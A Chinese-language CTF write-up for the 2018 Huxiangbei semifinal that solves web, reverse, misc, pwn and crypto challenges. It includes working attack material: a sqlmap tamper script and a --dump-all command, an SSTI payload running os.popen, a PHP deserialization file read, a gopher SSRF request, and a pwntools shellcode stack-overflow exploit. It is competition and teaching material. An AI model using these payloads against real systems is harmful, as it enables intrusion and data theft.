2018湖湘杯複賽-WriteUp
By DWN戰隊
web這塊基本都是原題,僅作參考。
差一題pwn200 AK。
簽到題 SingIn Welcome
WEB Code Check
訪問是一個登陸頁面,檢視原始碼有一個連結。
news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09
嘗試注入,一直返回資料庫錯誤。
然後在news目錄下發現原始碼list.zip
<?php // header('content-type:text/html;charset=utf-8'); // require_once '../config.php'; //解密過程 function decode($data){ $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); $data = mdecrypt_generic($td,base64_decode(base64_decode($data))); mcrypt_generic_deinit($td); mcrypt_module_close($td); if(substr(trim($data),-7)!=='hxb2018'){ echo '<script>window.location.href="/index.php";</script>'; }else{ return substr(trim($data),0,strlen(trim($data))-7); } } $id=decode("b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09"); echo $id; // $sql="select id,title,content,time from notice where id=$id"; // $info=$link->query($sql); // $arr=$info->fetch_assoc(); // ?> // <!DOCTYPE html> // <html lang="en"> // <head> // <meta charset="UTF-8"> // <title>X公司HR系統V1.0</title> // <style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style> // </head> // <body> // <div class="body"> // <div class="title"><?php echo $arr['title']?></div> // <div class="content"><?php echo $arr['content']?></div> // </body> // </html>
b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09就是1加密過的。
需要逆推一下這個函式。
function encode($data){ $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); $data = $data .'hxb2018'; $data = mcrypt_generic($td,$data); $data=base64_encode(base64_encode($data)); mcrypt_generic_deinit($td); mcrypt_module_close($td); // echo substr(trim($data),0,strlen(trim($data))-7); echo $data; }
然後將我們的payload直接加密然後注入。
由於比較麻煩,tamper省事一點
hxb.py
#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import base64 from Crypto.Cipher import AES from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST def dependencies(): pass def encrypt(text): padding = '' key = 'ydhaqPQnexoaDuW3' iv = '2018201920202021' pad_it = lambda s: s+(16 - len(s)%16)*padding cipher = AES.new(key, AES.MODE_CBC, iv) text = text + 'hxb2018' return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text)))) def tamper(payload, **kwargs): return encrypt(payload)
很多人沒注意notice2
直接一把嗦:
sqlmap -u "http://47.107.236.42:49882/news/list.php?id=1" --tamper hxb.py --dump-all -T "notice,notice2,stormgroup_member" -D mozhe_discuz_stormgroup
WEB XmeO
沒啥好說的,基本的SSTI
直接找xss bot原始碼
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat//home/XmeO/auto.js").read()' )
hh
WEB MyNote
註冊一個賬號,發現可以上傳。
檢視上傳的圖片
有一個picture的cookie
陣列的反序列化讀取檔案。
robots.txt可以知道存在flag.php
payload:
$wing[] = '../../flag.php'; echo urlencode(base64_encode(serialize($wing)));
傳送過去,看到了data協議的資料。
解碼
WEB ReadFIle
這題也沒什麼考點,emmm。
file協議可以讀取到檔案。
首先發現ssrf目錄下的web.php
出題人原意可能是想讓我們用gopher打。
但是原始碼裡面有一個這個:/var/www/html/ssrf/readflag
$ip = $_SERVER['REMOTE_ADDR']; if(isset($_POST['user'])){ if($_POST['user']=="admin" && $ip=="127.0.0.1"){ system("/var/www/html/ssrf/readflag"); } }
curl 儲存到本地。
用ida分析一下
flag在ssrf目錄…..
gopher參考:
%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%38%30%2f%5f%50%4f%53%54%20%2f%73%73%72%66%2f%77%65%62%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%25%30%64%25%30%61%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%36%25%30%64%25%30%61%55%73%65%72%2d%41%67%65%6e%74%3a%20%63%75%72%6c%2f%37%2e%34%33%2e%30%25%30%64%25%30%61%41%63%63%65%70%74%3a%20%2a%2f%2a%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%31%30%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%64%25%30%61%25%30%64%25%30%61%75%73%65%72%3d%61%64%6d%69%6e
這次的re難度不是太大……但是re2和re3都有點偏門,不太硬核233 但也挺有意思的
Replace
upx -d脫殼,然後是一個比普通簽到略複雜一點的簽到題,沒什麼好說的
要求table[input[i]] == atoi(data[2*i]+data[2*i+1])^0x19
table = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16] s = bytes.fromhex("2a49f69c38395cde96d6de96d6f4e025484954d6195448def6e2dad67786e21d5adae6") for i in range(len(s)): v = table.index(s[i]^0x19) print(chr(v), end='')
HighwayHash64
從題目和描述的Hash,以及輸入提示的
Note:hxb2018{digits}
就可以猜到,這估計是個爆破Hash的題目
看了一下hash函式中初始化結構體的部分跟md5不同,查了也沒有信息,所以可能是自定義的雜湊演算法
剛開始嘗試了一下扒程式碼到編譯器中復現,然而有很多ROL的巨集定義,比較麻煩,所以直接呼叫該函式是比較方便的
呼叫函式有兩種方法,一種是寫一個dll注入到exe中進行呼叫,另一種則是將該exe直接改成dll,另外寫一個exe來呼叫
前者日後再嘗試吧,相對而言感覺要複雜一些
後者只需要將exe的PE頭中的標誌位修改,再通過RVA(Relative Virtual Address)獲取函式地址即可
具體方法為,首先通過十六進位制編輯器修改PE頭
這裡使用010Editor一類的工具會比較方便
-
NtHeader
-
Characteristics
- IMAGE_FILE_DLL標誌位
-
Characteristics
將該位改為1即可通過LoadLibrary呼叫
typedef __int64(__fastcall *f)(__int64 buff, unsigned __int64 len); int main() { HINSTANCE hdll; hdll = LoadLibrary(TEXT("F:\ctf\hxb\2018\reverse.dll")); if (hdll == NULL) { printf("Load dll Error: %dn", GetLastError()); return 0; } printf("Dll base is %llxn", hdll); func = ((f)((char*)hdll + 0x17A0)); }
注意編譯的時候由於dll是x64的,因此exe理應也是用x64的
以及這裡的函式宣告需要使用__fastcall的呼叫約定,因為從彙編可以看出來
movedx, 4 mov[rsp+158h+var_138], eax learcx, [rsp+158h+var_138] callhash
傳參使用的rcx和rdx,如果用其他呼叫約定的話通常會用棧傳參
IDA其實是已經識別出來的
返回值則需要自己根據內容看出來,向rax放了一個int64的值
movrax, qword ptr [rsp+0C8h+md5_struct] addrax, qword ptr [rsp+0C8h+md5_struct+20h] addrax, qword ptr [rsp+0C8h+md5_struct+40h] addrax, qword ptr [rsp+0C8h+md5_struct+60h]
這裡IDA是識別錯誤的
接下來就可以直接使用該函式來爆破了
do ++len; while ( Dst[len] ); v7 = len; if ( hash((__int64)&v7, 4ui64) != (char *)0xD31580A28DD8E6C4i64 )
第一次hash使用的是len的地址,也就是把長度視作一個4位元組的char陣列來進行hash
因此我們首先要算出flag的長度
爆破的時候也提供一個int的空間即可
void len() { int i; unsigned long longresult; for (i = 0;i<50; i++) { result = func((long long )&i, 4); if (result == 0xD31580A28DD8E6C4) { printf("Len is %dn", i-9); return ; } } printf("Not found the lenn"); return; }
很快可以得出i=19,然後掐去前後的格式字元共9個,即可知道中間的內容是十個十進位制數了
接下來可以通過sprintf快速製作10個位元組的十進位制數,然後窮舉
void hash() { unsigned long long i; unsigned long longresult; char buff[20]; for (i = 0; i < 10000000000; i++) { sprintf_s(buff, "%0.10llu", i); if (i % 100000 == 0) { printf("%0.10llun", i); } result = func((long long)buff, 10); if (result == 0x7CDCCF71350B7DB8) { //5203614978 printf("flag is %lldn", i); return; } } }
賽後交流了一下,flag的hash是不一樣,所以復現的時候需要自己改一下
More efficient than JS
題目檔案下載下來就能看到一個wasm,再結合題目,很顯然又是WebAssembly逆向……越來越多的出題人開始搞這東西了orz
目前Chrome和Firefox都沒有針對它出好用的偵錯程式,只能用js的偵錯程式湊活看,所以我的經驗就是直接動調,用wabt元件反編譯出的c和wat來輔助分析
運行了一下直接在fetch的地方報錯,讓隊裡師傅給搭了個http環境才能跑起來
以往的wasm題目都是在html中呼叫函式,這次找了一圈也沒有看到
跑起來以後什麼都不顯示直接彈窗,估計是js中的程式碼,於是根據提示內容”Input:”找到了這裡
在這下斷,然後重新整理果然斷到了,但是接著單步跟下去就會進到一個死迴圈裡
這個迴圈執行完以後又會回到彈窗裡,於是有點懵逼
(動態除錯和靜態分析的相關技巧可以在我前兩天的ofollow,noindex" target="_blank">部落格 中找到)
後來在wat裡發現了一個函式的名字叫做_main
果斷下斷,發現重新整理頁面以後會先執行wasm中的_main函式,然後到f98的呼叫時開始彈窗,點選取消以後會繼續執行
再往後兩個呼叫,到f42的時候注意它的引數執行完後會取出值,返回值則是len
然後在f22的5個引數中就可以發現各種有趣的東西了,註釋如下
其中f22是核心的加密函式,在裡面不斷地單步跟,有選擇地跳過
(其實最關鍵的就是幾個迴圈中的i32_load),看它們從哪裡取值以及取出來的是什麼值即可
個人認為wasm的關鍵在於跟隨資料而不是程式碼(因為程式碼太噁心了orz)
中間可以看到根據key去往後table中取值,但是最後與輸入有關的只是異或,因此可以輸入一串0,從而得到異或的值
然後從f23中的一個迴圈中使用的地址得到結果陣列,最後異或求解即可
input = [[137, 221, 46, 119, 76, 156, 92, 92, 137, 215, 225, 85, 132, 233, 53, 206, 231, 78, 160, 89, 133, 178, 65, 60, 63, 29, 11, 164, 233, 71, 5, 192, 227, 190, 31, 178, 177, 218, 213, 38, 217, 39, 137, 164, 117, 224]] output = [223, 129, 127, 32, 7, 196, 13, 28, 201, 158, 142, 23, 215, 237, 120] for i in range(len(output)): print(chr(input[i]^ord('0')^output[i]),end='')
flag{happy_rc4}
從這個flag來看演算法應該是rc4,也比較負責動調中感覺到的,根據key變換table然後取table的值和明文異或
因為這個演算法的特性所以也可以理解為和金鑰流異或23333
MISC Hidden Write
010看到3個ihdr和iend,分別摳出來,補齊png頭89 50 4E 47 0D 0A 1A 0A
後面的兩個圖片存在盲水印,解出來得到flag最後一段
檔案結尾字串得到flag中間一段
然後是一個lsb隱寫找到flag的第一段
MISC Flow
首先跑wifi密碼,開始跑8位數字沒跑出來,於是換了一個wpa常用密碼的字典去跑,秒出結果orz
參考:https://xz.aliyun.com/t/1972
解密流量,然後跟蹤tcp流,得到flag
MISC Disk
用winimage開啟看到4個flag.txt
提取後看到是一堆01串,指令碼解一下
PWN Regex Format
保護全無,所以做法有很多了,我的思路是往bss上寫shellcode,然後棧溢位劫持控制流到我佈置好的shellcode上。
這題比較煩的就是逆向部分了吧,首先讀取regex format到.data的aBeforeUseItUnd變數後,這是做正則表示式的。然後讀取一個字串到bss上,是正則表示式匹配的物件。
程式首先會在0x08048680處的函式對正則表示式進行一個解析,比較煩的是,前面的內容是固定的Before :use$ it, :understand$* it :first$+.,即aBeforeUseItUnd變數
一頓操作後將正則表示式分成了好幾段,我們gdb看下
然後這裡進行迴圈去匹配每段正則表示式
不過sub_8048930的第3個引數為s,而s是char s; // [esp+474h] [ebp-D4h],那這裡就可以去進行一個棧溢位操作了,去這個函式看看
可以看到,只要正則匹配,程式就會一直進行一個賦值操作,將bss上的資料賦值給棧上的s,於是問題就是如果使這個正則一直匹配下去。很簡單,我們把bss上要寫的內容放進去就行了嘛。
經過一頓除錯後,最終寫出瞭如下exp
完整exp:
#-*- coding: utf-8 -*- from pwn import * __author__ = '3summer' s= lambda data:io.send(str(data)) sa= lambda delim,data:io.sendafter(str(delim), str(data)) st= lambda delim,data:io.sendthen(str(delim), str(data)) sl= lambda data:io.sendline(str(data)) sla= lambda delim,data:io.sendlineafter(str(delim), str(data)) slt= lambda delim,data:io.sendlinethen(str(delim), str(data)) r= lambda numb=4096:io.recv(numb) ru= lambda delims, drop=True:io.recvuntil(delims, drop) irt= lambda:io.interactive() uu32= lambda data:u32(data.ljust(4, '')) uu64= lambda data:u64(data.ljust(8, '')) def dbg(breakpoint): glibc_dir = '/usr/src/glibc/glibc-2.23/' gdbscript = '' gdbscript += 'directory %smallocn' % glibc_dir gdbscript += 'directory %sstdio-common/n' % glibc_dir gdbscript += 'directory %sstdlib/n' % glibc_dir gdbscript += 'directory %slibion' % glibc_dir elf_base = int(os.popen('pmap {}| awk 27{{print 241}}27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0 gdbscript += 'b *{:#x}n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint log.info(gdbscript) gdb.attach(io, gdbscript) def exploit(local): _nop = asm(shellcraft.nop()) _sh = asm(shellcraft.sh()) _re = 'Before use$ it, understand$* it first$+.' _sh_addr = 0x0804A24C+0xd4+12*4 sla('formatn', ':'+p32(_sh_addr)+_nop+_sh.replace('$', '')+'$*') sla('matchn', _re.ljust(0xd4, _nop) + p32(_sh_addr)*12 + _sh) sl('n') sl('./flag') irt() if __name__ == '__main__': binary_file = './pwn1' context.binary = binary_file context.terminal = ['tmux', 'sp', '-h', '-l', '110'] context.log_level = 'debug' elf = ELF(binary_file) if len(sys.argv) > 1: io = remote(sys.argv[1], sys.argv[2]) # libc = ELF('./libc.so.6') exploit(False) else: io = process(binary_file) libc = elf.libc exploit(True)
PWN Hash Burger
Get原題一枚,exp拿下來,改下ip,埠,libc路徑,直接打
Crypto Common Crypto
很明顯有兩個函式與加密相關
key_generate函式中對key_struct的前16個位元組進行了賦值,也就是128位的key
然後在之後與一個數組—搜尋之後可以發現它是AES的SBox,進行異或,產生了輪金鑰
然後在下一個函式,AES_encrypt中進行了明文和key_struct的運算
AES的特徵是十輪運算、每輪進行位元組替換、行移位、列混淆、輪金鑰加,最後一輪缺少輪金鑰加
所以要不是在十輪迴圈中有一個判斷,要不就是九輪迴圈+額外三個步驟
函式內是滿足這樣的流程的
使用AES進行加密與動調獲得的結果可以互相驗證
sprintf呼叫了32次,而加密的結果只有16個位元組,因此結果字串中前32個字元為密文,後32個字元為明文的hex_encode
前半段進行解密、後半段則hex_decode即可
from Cryptodome.Cipher import AES key = bytes.fromhex("1b2e3546586e72869ba7b5c8d9efff0c") aes = AES.new(key, AES.MODE_ECB) plain = aes.decrypt(bytes.fromhex("4dd78cfbcfc1dbd9e8f31715bf9c3464")) print(plain) print(bytes.fromhex("35316565363661623136353863303733"))
Good Job!